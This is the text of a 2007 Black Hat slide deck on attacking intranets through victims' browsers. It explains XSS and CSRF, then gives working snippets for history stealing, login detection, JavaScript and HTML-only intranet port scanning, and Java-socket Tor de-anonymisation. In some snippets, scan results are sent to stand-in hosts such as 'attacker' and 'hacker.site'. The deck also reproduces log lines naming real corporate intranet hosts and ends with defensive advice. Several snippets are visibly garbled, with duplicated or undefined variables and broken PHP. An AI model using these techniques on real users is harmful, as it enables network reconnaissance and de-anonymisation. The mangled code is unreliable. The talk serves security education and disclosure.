Hacking Intranet Websites from the Outside (Take 2)
"Fun With and Without JavaScript Malware"

Black Hat 2007 (Las Vegas)
08.01.2007

Guest Star:
Robert “RSnake” Hansen
(CEO of SecTheory)

Jeremiah Grossman (Founder and CTO)
Jeremiah Grossman

- Founder and CTO of WhiteHat Security
- R&D and industry evangelism
- International conference speaker
- Co-Author of XSS Attacks
- Web Application Security Consortium Co-founder
- Former Yahoo! information security officer

© 2007 WhiteHat Security, Inc.
Robert “RSnake” Hansen

- CEO of SecTheory
- Founded the web application security lab (ha.ckers.org and sla.ckers.org)
- Co-Author of XSS Attacks
- Former eBay Sr. Global Product Manager
- Dark Reading contributor
- Frequent industry conference speaker
Comments from last year...

“Disturbing”
Brian Krebs, Washington Post

“I have to go home and change the password of my DSL router!”
several Blackhat attendees

“RSnake and Jeremiah pretty much destroyed any security we thought we had left, including the I’ll just browse without JavaScript mantra. Could you really call that browsing anyway?”
Kyran
The big 3!

**Cross-Site Scripting (XSS)** - forcing malicious content to be served by a trusted website to an unsuspecting user.

**Cross-Site Request Forgery (CSRF)** - forcing an unsuspecting user’s browser to send requests they didn’t intend. (wire transfer, blog post, etc.)

**JavaScript Malware** - payload of an XSS or CSRF attack, typically written in JavaScript, and executed in a browser.

Exploiting the Same-Origin Policy
Getting hacked by JavaScript Malware

Website owner embedded JavaScript malware.

Web page defaced with embedded JavaScript malware.

JavaScript Malware injected into a public area of a website. (persistent XSS)

Clicked on a specially-crafted link causing the website to echo JavaScript Malware. (non-persistent XSS)
1988
Confused Deputy
Original CSRF theory

2000
Client-Side Trojans
Zope discovers Web version of Confused Deputy

2001
Session Riding
Thomas Schreiber discovers CSRF, writes a white paper, changes the name

2004
XSRF
Jesse Burns (iSec), writes a white paper, likes this acronym better

2005
Samy Worm
Web Worm infects 1 million MySpace profiles using XSS/CSRF

2006
DOM-Based XSS
Amit Klein discovers a new form of XSS where the server doesn't see the payload

Web browser hacking takes off
Over 70 new attack techniques show up in 2006

Phishing w/ Super Bait
WhiteHat Security shows how Phishing attacks using XSS are more effective

2007
MITRE CVE Trends
Says CSRF is under reported and predicts stats increase

OWASP CSRF
CSRF added as #5 on the OWASP Top Ten project

XSS disclosed everywhere
sla.ckers.org forum posts over 1,000 vulnerable websites.

Intranet Hacking
WhiteHat Security discovers JavaScript can be used for port scanning

What’s Next?
XSS disclosed everywhere
sla.ckers.org forum posts over 1,000 vulnerable websites.
Denial
Anger
Bargaining
Depression
Acceptance

“I PATCH MY BROWSER, HAVE A FIREWALL AND USE NAT. WHAT DO I HAVE TO BE WORRIED ABOUT?”
History Stealing using JavaScript and CSS

Cycles through thousands of URLs checking the link color.

document.body.appendChild(l);
var c = document.defaultView.getComputedStyle(l,null).getPropertyValue("color");
document.body.removeChild(l);

// check for visited
if (c == "rgb(0, 0, 255)") { // visited
}
else { // not visited
}
// end visited check

Common intranet hostnames make good targets as well...

http://ha.ckers.org/fierce/hosts.txt
© 2007 WhiteHat Security, Inc.
Intranet Hacking

Attacks can penetrate the intranet by controlling/hijacking a user’s browser and using JavaScript Malware, which is on the inside of the network.
Compromise NAT'ed IP Address with Java

Send internal IP address where JavaScript can access it

```html
<APPLET CODE="MyAddress.class">
<PARAM NAME="URL" VALUE="demo.html?IP=">
</APPLET>
```

```javascript
function natIP() {
    var w = window.location;
    var host = w.host;
    var port = w.port || 80;
    var Socket = (new java.net.Socket(host, port)).getLocalAddress().getHostAddress();
    return Socket;
}
```

Or guess! Since most everyone is on 192.168.1/0 or 10.0.1/0 it’s not a big deal if Java is disabled.
JavaScript can scan for Web Servers

Attacker can force a user’s browser to send HTTP requests to anywhere, including the to the intranet.

<SCRIPT SRC="http://192.168.1.1/"></SCRIPT>
<SCRIPT SRC="http://192.168.1.2/"></SCRIPT>
<SCRIPT SRC="http://192.168.1.3/"></SCRIPT>
...
<SCRIPT SRC="http://192.168.1.255/"></SCRIPT>

If a web server is listening, HTML will be returned causing the JS interpreter to error.

If there is an error, a web server exists
Bypassing Tor/Privoxy

How Tor Works: 1

- Alice
- Step 1: Alice’s Tor client obtains a list of Tor nodes from a directory server.
- Dave
- Jane
- Bob

How Tor Works: 2

- Alice
- Step 2: Alice’s Tor client picks a random path to destination server. Green links are encrypted, red links are in the clear.
- Dave
- Jane
- Bob

How Tor Works: 3

- Alice
- Step 3: If the user wants access to another site, Alice’s Tor client selects a second random path. Again, green links are encrypted, red links are in the clear.
- Dave
- Jane
- Bob

© 2007 WhiteHat Security, Inc.
In case you need to de-anonymize (1)

Java sockets do not use the browser network APIs. (no proxy)

```javascript
var l = document.location;
var h = l.host.toString();
var h = 80;
var addr = new java.net.InetAddress.getByName(h);

var c = java.nio.channels.SocketChannel.open(new java.net.InetSocketAddress(h, p));
var line = "GET / HTTP/1.1 
Host: " + h + "\r\n";
var s1 = new java.lang.String(line);
c.write(java.nio.ByteBuffer.wrap(s1.getBytes()));

//Allocate a buffer to read the data from the server.
var buffer = java.nio.ByteBuffer.allocate(8000);
c.read(buffer);

alert(new java.lang.String(buffer.array()));
```

1.1.1.1 - - [27/Jul/2007:09:29:52 -0700] "GET / HTTP/1.1" 304 - "-" "Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5"

2.2.2.2 - - [27/Jul/2007:09:29:53 -0700] "GET /log.cgi HTTP/1.1 "200 1879 "-" "-"
In case you need to de-anonymize (2)

Windows networking Microsoft-ds and netbios-ssn sniffing from inside images

<img src="file://\\123.123.123.123/...">
Denial

Anger

Bargaining

Depression

Acceptance

“What were the browser developers thinking!?!?”
What about these?

Enumerating extensions, OS applications, and usernames

Compromising password manager usernames and passwords

And that’s besides never ending supply of buffer overflow, cache poisoning, and URL spoofing “exploits”
Rich Internet Applications (RIA)

MORE FUN TO BE HAD...

Flash, Active-X, Silverlight, Java, quicktime, windows media player, Acrobat, and hundreds of browser extensions
Denial
Anger
Bargaining
Depression
Acceptance

“I’ll use NoScript, SafeHistory, install a VPN, and maybe turn off JavaScript.”
Login Detection

Different JavaScript error messages are returned depending on the login/logout status of the user. SafeHistory won’t help.

<script src="http://mail.google.com/mail/"/>
Cycle through the same URLs, NoScript won’t help.

```html
<html>
<style>
#links a:visited {
    color: #ff00ff;
}
#links a:visited#link1 {
    background: url('/capture.cgi?login.yahoo.com');
}
#links a:visited#link2 {
    background: url('/capture.cgi?mail.google.com');
}
#links a:visited#link3 {
    background: url('/capture.cgi?mail.yahoo.com');
}
</style>
<body>
<ul id="links">
<li><a id="link1" href="http://login.yahoo.com/">http://login.yahoo.com/</a></li>
<li><a id="link2" href="http://mail.google.com/">http://mail.google.com/</a></li>
<li><a id="link3" href="http://mail.yahoo.com/">http://mail.yahoo.com/</a></li>
</ul>
</body>
</html>
```
Ping/Web Server Sweep using HTML

The **LINK** tag will halt a rendering page until the host responds or times out. **No JavaScript required.**

```
<link rel="stylesheet" type="text/css" href="http://192.168.1.1/" />
<img src="http://attacker/capture.pl?ip=192.168.1.1&time=1185827436" />
```

By measuring the time of the **IMG** tag request, it’s possible to tell if there is a Web server or host active.

The only problem is this method is slow, but **Ilia Alshanetsky improved it with a clever technique....**
Content-Type: multipart/x-mixed-replace

allows segments of HTML that each represent a unique page. When a browser gets a new segment it throws out the old one and renders the new.

```php
<?php
$boundary = '----'.rand(1000, 9999).'----';
header('Content-Type: multipart/x-mixed-replace; boundary='.$boundary);
for ($i = 1; $i < 256; $i++) {
    echo '--'.$boundary.'
Content-Type: text/html; charset=utf-8
<p>testing ip <b>192.168.1.'.$i.'</b></p>
<link rel="stylesheet" type="text/css" href="http://192.168.1.'.$i.'/" />
<img src="http://hacker.site/scan.php?ip=192.168.1.'.$i.'&s='.time().'" />
';
    flush();
    sleep(3);
}
```

SCAN.PHP

```php
<?php
session_start();
file_put_contents(
    "/tmp/scan_`.session_id().".txt",
    "$_GET['ip']" - "$_GET['s']" \$_SERVER['REQUEST_TIME']}
    FILE_APPEND|LOCK_EX
);";

© 2007 WhiteHat Security, Inc.
```
Who needs Web 2.0 hacking when Web 0.9 works just fine.

Besides, who really disables JavaScript anyway?

OK, OK, outside of this room?

Or, what happens when the JavaScript malware is being hosted on a trusted website?

(social network, webmail, web bank, etc.)
Split VPN Tunnel Hacking

Surfing while connected to the corporate network may be secure with content filtering. However, **not in the case of split VPN tunnels.**

Attacker controlled web pages (i.e. badguy.com) can launch several well-known XSS exploits.

Intranet targets can be collected through passive recon such as referer leaking or actively through Browser History Hacks.
1) Victim goes to Google attempting to protect themselves using noscript
2) Man in the middle can modify page that Victim sees because Google is not encrypted
3) Man in the middle sends Victim to addons.mozilla.com but on http vs. https
4) Man in the middle injects JavaScript, bypassing noscript’s whitelist protection
5) Man in the middle sends user to xml1.maps.yahoo.com/ulm.xml?r=5050 and steals address information
6) Man in the middle sends victim to their own intranet to begin intranet hacking
**Example Recon**

65.57.245.11 - - [01/Mar/2007:16:22:06 -0800] "GET /... HTTP/1.1" 200 6793 "http://reactor.corp.google.com/..." "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.2pre) Gecko/20070223 Camino/1.1b"

193.138.107.179 - - [28/Jun/2007:01:15:38 -0700] "GET /... HTTP/1.0" 304 - "http://corporate1.internal.standardlife.com/..." "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1)"

68.254.179.254 - - [03/Jul/2007:13:21:40 -0700] "GET /... HTTP/1.1" 200 88698 "http://collab.corp.efunds.com/..." "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"

15.227.217.77 - [18/Jun/2007:07:00:14 -0700] "GET /... HTTP/1.1" 200 13823 "http://wildcat.boi.hp.com/... "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7; .NET CLR 2.0.50727)"

130.76.32.15 - [19/Jun/2007:14:12:31 -0700] "GET /... HTTP/1.1" 200 179 "http://bestis.web.boeing.com/..." "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4"

216.239.124.38 - - [19/Jun/2007:16:32:29 -0700] "GET /... HTTP/1.1" 200 88699 "http://wiki.sparta.cnet.com/..." "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4"
Airpwn + XSS + CSRF

= Arian’s Idea

(circa 2004)
Denial
Anger
Bargaining
Depression
Acceptance

“I’m going back to using lynx.”
Web security is an oxymoron

Firewalls and NAT aren’t what they used to be

The browser is patched, so what?

I’m not the target, but everyone else on my network is

Browser security needs a serious rethink

Browser add-ons help, but only by seriously hobbling the user experience so users won’t adopt them anyway

Remote users and VPN connections are open to exploitation
Denial
Anger
Bargaining
Depression
Acceptance

“Sure the web is hostile, but I can protect myself.”
Web Browser Security

Surf with two web browsers or VMware’d

Patch, patch, patch, disable, disable, disable

Stack up your add-ons (NoScript, SafeHistory, Netcraft Toolbar, eBay Toolbar, etc.)

Logout, clear cookies, clear history

Stop using laptops like firewalls (relying on the browser to separate domains for us isn’t working)
Public web pages should not be able to initiate requests to private IPs (RFC).

Content-restriction too when you get around to it.

http://www.gerv.net/security/content-restrictions/

© 2007 WhiteHat Security, Inc.
Website Security

Asset Tracking — Find your websites, assign a responsible party, and rate their importance to the business. Because you can’t secure what you don’t know you own.

Measure Security — Perform rigorous and on-going vulnerability assessments, preferably every week. Because you can’t secure what you can’t measure.

Development Frameworks — Provide programmers with software development tools enabling them to write code rapidly that also happens to be secure. Because, you can’t mandate secure code, only help it.

Defense-in-Depth — Throw up as many roadblocks to attackers as possible. This includes custom error messages, Web application firewalls, security with obscurity, and so on. Because 8 in 10 websites are already insecure, no need to make it any easier.
One more thing...

CUPS HACKING
OS X: http://localhost:631/

Do Administration Tasks
Manage Printer Classes
On-Line Help
Manage Jobs
Manage Printers
Download the Current CUPS Software
Thank you

For more information visit:

http://www.whitehatsec.com/
http://www.sectheory.com/

Jeremiah Grossman (Founder and CTO)
jeremiah@whitehatsec.com

Robert “RSnake” Hansen (CEO)
robert@sectheory.com
References

The Cross-Site Request Forgery (CSRF/XSRF) FAQ
http://www.cgiisecurity.com/articles/csrf-faq.shtml

The Confused Deputy - Original Cross-Site Request Forgery Theory
http://www.cap-lore.com/CapTheory/ConfusedDeputy.html

Zope discovers a Web version of the Confused Deputy, calls it Client-Side Trojans
http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan

CERT® Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests
http://www.cert.org/advisories/CA-2000-02.html

Peter Watkins discovers Client-Side Trojans, calls it (CSRF, pronounced "sea surf")
http://www.tux.org/~peterw/csrf.txt

Thomas Schreiber discovers CSRF, doesn't like the name, calls it Session Riding
http://www.securenet.de/papers/Session_Riding.pdf

Jesse Burns discovers CSRF, doesn't like the acronym, changes it to XSRF.

DOM Based Cross Site Scripting or XSS of the Third Kind
http://www.webappsec.org/projects/articles/071105.shtml

Phishing with Superbait, XSS used to host fake sites on the real website.

Intranet Hacking from the Outside and JavaScript Port Scanning

Web browser hacking techniques take off

MITRE - Vulnerability Type Distributions in CVE
http://cve.mitre.org/docs/vuln-trends/index.html

OWASP Top Ten 2007

© 2007 WhiteHat Security, Inc.